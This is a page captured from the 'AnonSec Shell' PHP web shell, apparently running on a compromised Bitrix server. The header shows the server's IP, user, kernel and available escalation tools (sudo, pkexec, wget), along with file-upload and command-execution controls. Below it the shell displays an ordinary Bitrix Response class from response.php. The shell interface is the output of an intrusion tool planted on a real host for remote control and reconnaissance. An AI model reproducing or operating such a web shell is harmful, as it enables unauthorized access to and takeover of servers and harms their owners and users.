AnonSec Shell
Server IP : 85.193.89.191  /  Your IP : 18.118.186.100
Web Server : Apache
System : Linux 956367-cx40159.tmweb.ru 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
User : bitrix ( 600)
PHP Version : 8.1.27
Disable Function : NONE
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/bitrix/www/bitrix/modules/main/lib/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/bitrix/www/bitrix/modules/main/lib/response.php
<?php
namespace Bitrix\Main;

abstract class Response
{
	/** @var string */
	protected $content;

	public function __construct()
	{
	}

	public function clear()
	{
	}

	public function flush($text = '')
	{
		$this->writeBody($text);
	}

	/**
	 * Sets content.
	 * Valid types are strings, numbers, null, and objects that implement a __toString() method.
	 *
	 * @param mixed $content Content that can be cast to string.
	 *
	 * @return $this
	 * @throws ArgumentTypeException
	 */
	public function setContent($content)
	{
		if (!$this->checkContent($content))
		{
			throw new ArgumentTypeException('content', 'string');
		}

		$this->content = (string)$content;

		return $this;
	}

	/**
	 * Appends content.
	 * Valid types are strings, numbers, null, and objects that implement a __toString() method.
	 *
	 * @param mixed $content Content that can be cast to string.
	 *
	 * @return $this
	 * @throws ArgumentTypeException
	 */
	public function appendContent($content)
	{
		if (!$this->checkContent($content))
		{
			throw new ArgumentTypeException('content', 'string');
		}

		$this->content .= (string)$content;

		return $this;
	}

	protected function checkContent($content)
	{
		return (
			$content === null ||
			is_string($content) ||
			is_numeric($content) ||
			is_callable(array($content, '__toString'))
		);
	}

	/**
	 * Returns content of response.
	 *
	 * @return string
	 */
	public function getContent()
	{
		return $this->content;
	}

	/**
	 * Sends content to the output.
	 *
	 * @return void
	 */
	public function send()
	{
		$this->flush($this->content);
	}

	protected function writeBody($text)
	{
		echo $text;
	}
}

Anon7 - 2022
AnonSec Team